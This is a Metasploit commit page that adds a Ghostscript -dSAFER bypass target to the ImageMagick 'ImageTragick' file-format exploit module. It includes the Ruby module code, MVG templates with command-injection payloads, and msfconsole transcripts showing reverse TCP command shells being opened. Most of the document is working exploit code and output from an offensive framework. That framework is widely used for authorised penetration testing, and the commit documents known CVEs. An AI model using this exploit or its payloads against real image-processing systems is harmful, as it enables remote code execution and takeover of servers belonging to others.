Skip to content

Commit d918e25

Browse files
committed
Land rapid7#7439, Add Ghostscript support to ImageMagick Exploit
2 parents ffc6296 + d6785a4 commit d918e25

File tree

9 files changed

+84
-50
lines changed

9 files changed

+84
-50
lines changed

data/exploits/imagemagick/delegate/msf.miff

Lines changed: 0 additions & 14 deletions
This file was deleted.

data/exploits/imagemagick/delegate/msf.mvg

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -3,6 +3,6 @@ encoding "UTF-8"
33
viewbox 0 0 1 1
44
affine 1 0 0 1 0 0
55
push graphic-context
6-
image Over 0,0 1,1 'https://localhost";echo vulnerable"'
6+
image Over 0,0 1,1 'https://localhost";echo vulnerable > /dev/tty"'
77
pop graphic-context
88
pop graphic-context
109 Bytes
Binary file not shown.
Lines changed: 1 addition & 1 deletion
Loading

data/exploits/imagemagick/popen/msf.miff

Lines changed: 0 additions & 14 deletions
This file was deleted.

data/exploits/imagemagick/popen/msf.mvg

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -3,6 +3,6 @@ encoding "UTF-8"
33
viewbox 0 0 1 1
44
affine 1 0 0 1 0 0
55
push graphic-context
6-
image Over 0,0 1,1 '|touch vulnerable'
6+
image Over 0,0 1,1 '|echo vulnerable > /dev/tty'
77
pop graphic-context
88
pop graphic-context
Lines changed: 1 addition & 1 deletion
Loading
Lines changed: 54 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,54 @@
1+
## Vulnerable Application
2+
3+
ImageMagick
4+
5+
## Verification Steps
6+
7+
Example steps in this format:
8+
9+
1. Install the ImageMagick
10+
2. Start msfconsole
11+
3. Do: ```use exploits/unix/fileformat/imagemagick_delegate```
12+
4. Do: ```run```
13+
5. convert msf.png msf.jpg
14+
15+
## Options
16+
17+
**USE_POPEN**
18+
19+
When the default option `true` is used, targets 0 (SVG file) and 1 (MVG file) are valid
20+
When the option is set to `false`, target 2 (PS file) is valid
21+
22+
## Scenarios
23+
24+
## popen=true
25+
```
26+
msf exploit(imagemagick_delegate) > set target 0
27+
msf exploit(imagemagick_delegate) > run
28+
29+
[*] Started reverse TCP handler on 1.1.1.1:4444
30+
[+] msf.png stored at /Users/dmohanty/.msf4/local/msf.png
31+
[*] Command shell session 1 opened (1.1.1.11:4444 -> 1.1.1.1:57212) at 2016-10-28 12:47:06 -0500
32+
```
33+
34+
```
35+
msf exploit(imagemagick_delegate) > set target 1
36+
msf exploit(imagemagick_delegate) > run
37+
38+
[*] Started reverse TCP handler on 10.6.0.186:4444
39+
[+] msf.png stored at /Users/dmohanty/.msf4/local/msf.png
40+
[*] Command shell session 2 opened (1.1.1.1:4444 -> 1.1.1.1:64308) at 2016-10-28 15:48:40 -0500
41+
```
42+
43+
## popen=false
44+
```
45+
msf exploit(imagemagick_delegate) > set target 2
46+
target => 2
47+
msf exploit(imagemagick_delegate) > set USE_POPEN false
48+
USE_POPEN => false
49+
msf exploit(imagemagick_delegate) > run
50+
51+
[*] Started reverse TCP handler on 1.1.1.1:4444
52+
[+] msf.png stored at /Users/dmohanty/.msf4/local/msf.png
53+
[*] Command shell session 5 opened (1.1.1.1:4444 -> 1.1.1.1:64772) at 2016-10-28 15:58:03 -0500
54+
```

modules/exploits/unix/fileformat/imagemagick_delegate.rb

Lines changed: 26 additions & 18 deletions
Original file line numberDiff line numberDiff line change
@@ -21,11 +21,12 @@ def initialize(info = {})
2121
a .png (for example) which is actually a crafted SVG (for example) that
2222
triggers the command injection.
2323
24-
Tested on Linux, BSD, and OS X. You'll want to choose your payload
25-
carefully due to portability concerns. Use cmd/unix/generic if need be.
24+
The PostScript (PS) target leverages a Ghostscript -dSAFER bypass
25+
(discovered by taviso) to achieve RCE in the Ghostscript delegate.
26+
Ghostscript versions 9.18 and later are affected.
2627
27-
If ImageMagick supports popen(), a |-prefixed command will be used for
28-
the exploit. No delegates are involved in this exploitation.
28+
If USE_POPEN is set to true, a |-prefixed command will be used for the
29+
exploit. No delegates are involved in this exploitation.
2930
},
3031
'Author' => [
3132
'stewie', # Vulnerability discovery
@@ -35,8 +36,10 @@ def initialize(info = {})
3536
],
3637
'References' => [
3738
%w{CVE 2016-3714},
39+
%w{CVE 2016-7976},
3840
%w{URL https://imagetragick.com/},
3941
%w{URL http://seclists.org/oss-sec/2016/q2/205},
42+
%w{URL http://seclists.org/oss-sec/2016/q3/682},
4043
%w{URL https://github.com/ImageMagick/ImageMagick/commit/06c41ab},
4144
%w{URL https://github.com/ImageMagick/ImageMagick/commit/a347456},
4245
%w{URL http://permalink.gmane.org/gmane.comp.security.oss.general/19669}
@@ -54,9 +57,9 @@ def initialize(info = {})
5457
}
5558
},
5659
'Targets' => [
57-
['SVG file', template: 'msf.svg'], # convert msf.png msf.svg
58-
['MVG file', template: 'msf.mvg'], # convert msf.svg msf.mvg
59-
['MIFF file', template: 'msf.miff'] # convert -label "" msf.svg msf.miff
60+
['SVG file', template: 'msf.svg'], # convert msf.png msf.svg
61+
['MVG file', template: 'msf.mvg'], # convert msf.svg msf.mvg
62+
['PS file', template: 'msf.ps'] # PoC from taviso
6063
],
6164
'DefaultTarget' => 0,
6265
'DefaultOptions' => {
@@ -69,7 +72,7 @@ def initialize(info = {})
6972

7073
register_options([
7174
OptString.new('FILENAME', [true, 'Output file', 'msf.png']),
72-
OptBool.new('HAVE_POPEN', [false, 'popen() support', true])
75+
OptBool.new('USE_POPEN', [false, 'Use popen() vector', true])
7376
])
7477
end
7578

@@ -80,19 +83,24 @@ def exploit
8083
p = payload.encoded
8184
end
8285

83-
if datastore['HAVE_POPEN']
84-
file_create(template.sub('touch vulnerable', p))
85-
else
86-
file_create(template.sub('echo vulnerable', p))
87-
end
86+
file_create(template.sub('echo vulnerable > /dev/tty', p))
8887
end
8988

9089
def template
91-
File.read(File.join(
92-
Msf::Config.data_directory, 'exploits', 'imagemagick',
93-
datastore['HAVE_POPEN'] ? 'popen' : 'delegate',
94-
target[:template]
95-
))
90+
if datastore['USE_POPEN']
91+
t = 'popen'
92+
else
93+
t = 'delegate'
94+
end
95+
96+
begin
97+
File.read(File.join(
98+
Msf::Config.data_directory, 'exploits', 'imagemagick', t,
99+
target[:template]
100+
))
101+
rescue Errno::ENOENT
102+
fail_with(Failure::BadConfig, "Target has no #{t} support")
103+
end
96104
end
97105

98106
end

0 commit comments

Comments
 (0)